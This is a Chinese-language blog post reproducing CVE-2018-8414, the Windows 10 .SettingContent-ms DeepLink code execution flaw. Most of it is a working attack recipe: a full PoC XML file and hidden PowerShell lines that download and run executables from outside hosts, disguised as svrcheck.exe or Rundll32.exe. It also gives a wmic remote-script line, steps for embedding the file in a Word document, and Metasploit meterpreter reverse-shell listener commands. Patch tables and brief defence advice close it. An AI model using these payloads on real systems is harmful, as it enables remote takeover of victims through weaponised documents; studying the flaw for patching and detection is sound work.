Windows Shell远程执行代码漏洞((CVE-2018-8414)复现

 0x00   SettingContent-ms文件介绍

 

.SettingContent-ms是在Windows 10中引入的一种文件类型,它的内容是XML格式进行编写的,主要用于创建Windows设置页面的快捷方式.Windows 10下行.SettingContent-ms后缀的文件,系统并未判断该类文件所在的路径是否在控制面板相关目录下,便直接执行了文件中用于控制面板设置相关的深层链接标签指定的任意程序,导致用户执行系统任意目录下的此类文件或者从网络上下载的经过精心设计的.SettingContent-ms文件也会直接执行其中指定的恶意程序对象,导致任意代码执行.

文件包含一个<DeepLink>标记,它带有带参数的任何二进制文件并执行它。这可能会导致问题,因为攻击者可以使用指向二进制文件(如cmd.exe或PowerShell.exe)的DeepLink元素创建.SettingContent-ms文件,该文件为其提供shell命令执行。

0x01 Windows Defender AV ASR Rules

Windows Defender AV ASR Rules主要是为了解决防止漏洞利用恶意软件感染计算机和应用程序,它是在Windows 10, version 1709 and later和Windows Server 2016中引入的,所有说之前的Windows Defender版本是没有ASR Rules的。

从以下版本开始:Windows 10版本1703到1803 和Windows Server版本1709到1803如下图显示是Windows Defender AV ASR Rules自带了AttackSurfaceReductionRules_Ids功能规则。

而在低于该版本的10240中,Windows Defender AV ASR Rules是没有带AttackSurfaceReductionRules_Ids

注意:某些时候漏洞利用失败取决于文件位置(默认策略设置),因此只需要将POC文件复制到如下目录下就可以执行。(如果改变默认路径可以通过下载https://github.com/joesecurity/scmwrap/blob/master/scmwrap.exe通过管理员权限下去命令执行 scmwrap.exe  -install)

C:Users[USER]AppDataLocalPackageswindows.immersivecontrolpanel_cw5n1h2txyewyLocalStateIndexedSettings[LANGUAGE]

0x02 漏洞复现

1.简单的测试弹出计算器

1.将测试poc文件放入以下目录位置:

C:Usersadmin(用户)

AppDataLocalPackageswindows.immersivecontrolpanel_cw5n1h2txyewyLocalStateIndexedSettingszh-CN目录下

2.    点击测试POC文件:

<?xml version="1.0" encoding="UTF-8"?>

<PCSettings>

  <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">

    <ApplicationInformation>

<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>

      <DeepLink>%windir%system32cmd.exe /c calc.exe</DeepLink>

<Icon>%windir%system32control.exe</Icon>

    </ApplicationInformation>

    <SettingIdentity>

      <PageID></PageID>

<HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>

    </SettingIdentity>

    <SettingInformation>

<Description>@shell32.dll,-4161</Description>

      <Keywords>@shell32.dll,-4161</Keywords>

    </SettingInformation>

  </SearchableContent>

</PCSettings>

其他<DeepLink>…</DeepLink>可替换POC:

1.  %windir%system32cmd.exe /c "C:Program FilesInternet Exploreriexplore.exe" -k https://www.backlion.org/
2.   %SystemRoot%System32WindowsPowerShellv1.0powershell.exe -wind hidden -noni -nop -nologo -Comm "(New-Object System.Net.WebClient).DownloadFile('http://192.168.225.129/pwn.exe', $Env:AppData+'svrcheck.exe'); Start-Process $Env:AppData'svrcheck.exe'; Exit-PSSession;"
3.  powershell-windowstyle  hiddle  (New-ObjectSystem.Net.WebClient)DownloadFile('https://www.xxx.com/test.exe',%APPDATA%Rundll32.exe');Start-Process '%APPDATA%Rundll32.exe'
4.  wmic os get /format:"https://gist.githubusercontent.com/caseysmithrc/68924cabbeca1285d2941298a5b91c24/raw/78065ca63504c9a0f41107137fbe861de487e4d4/minimalist"

3.    点击test. settingcontent-MS,即可弹出calc

2.嵌入到office中弹出计算器

1.创建一个word,这里我就拿offcie 2007来当例子

2.点插入-对象-选择由文件创建

屏幕快照 2018-08-30 下午11.39.43.png

4.     双击图标后即可打开即可弹出计算器、

3.kali下反弹shell

利用脚本下载地址:

https://raw.githubusercontent.com/backlion/demo/master/auto_settingcontent-ms.py

1.在KALI下执行脚本auto_settingcontent-ms.py,并填上监听IP地址(KALI本机主机IP)和端口

root@kali2018:/opt# python auto_settingcontent-ms.py

2.会在当前目录下生成一个Test.SettingContent-ms以及将生成的LICENSE.txt自动拷贝到/var/www/html目录下。

5.开启apache服务。

root@kali2018:/opt# service apache2 start

6.启动msf,然后进行设置IP地址和监听端口以及payload

msf > use exploit/multi/handler

msf exploit(multi/handler) > set payload    windows/meterpreter/reverse_https

msf exploit(multi/handler) > show options

msf exploit(multi/handler) > set lhost     10.250.117.10

msf exploit(multi/handler) > set lport     5555

msf exploit(multi/handler) > exploit

7.将生成的Test.SettingContent-ms拷贝出来,然后新建一个test.doc文档,通过插入数据

8.然后点击保持test.docx,并打开该文档点击图标即可反弹。

9.可以看到kali下反弹目标系统shell.

0x03  漏洞影响版本

适用于32位系统的Windows 10版本1703

 

4343885

安全更新

远程执行代码

重要

4338826

适用于基于x64的系统的Windows 10版本1703

 

4343885

安全更新

远程执行代码

重要

4338826

适用于32位系统的Windows 10版本1709

 

4343897

安全更新

远程执行代码

重要

4338825

适用于64位系统的Windows 10版本1709

 

4343897

安全更新

远程执行代码

重要

4338825

用于32位系统的Windows 10版本1803

 

4343909

安全更新

远程执行代码

重要

4338819

适用于基于x64的系统的Windows 10版本1803

 

4343909

安全更新

远程执行代码

重要

4338819

Windows Server,版本1709(服务器核心安装)

 

4343897

安全更新

远程执行代码

重要

4338825

Windows Server,版本1803(服务器核心安装)

 

4343909

安全更新

远程执行代码

重要

4338819

0x04 漏洞防御建议

最好在防火墙和/或电子邮件网关阻止.SettingContent-ms文件通过执行。此外,可能还需要考虑使用组策略强制.SettingContent-ms禁止在记事本中打开(https://montour.co/2016/09/group-policy-force-js-files/)。

0x05  参考链接

https://www.t00ls.net/thread-47622-1-1.html

https://hk.saowen.com/a/18ea08a24efd7d58c9d24ce69cad41aac8e1535026d266a3e6ced826d777a341

https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39

https://github.com/joesecurity/scmwrap

https://github.com/SScyber0/Deeplink_Reverse_TCP

 
 
 
 
原文地址:https://www.cnblogs.com/backlion/p/9642241.html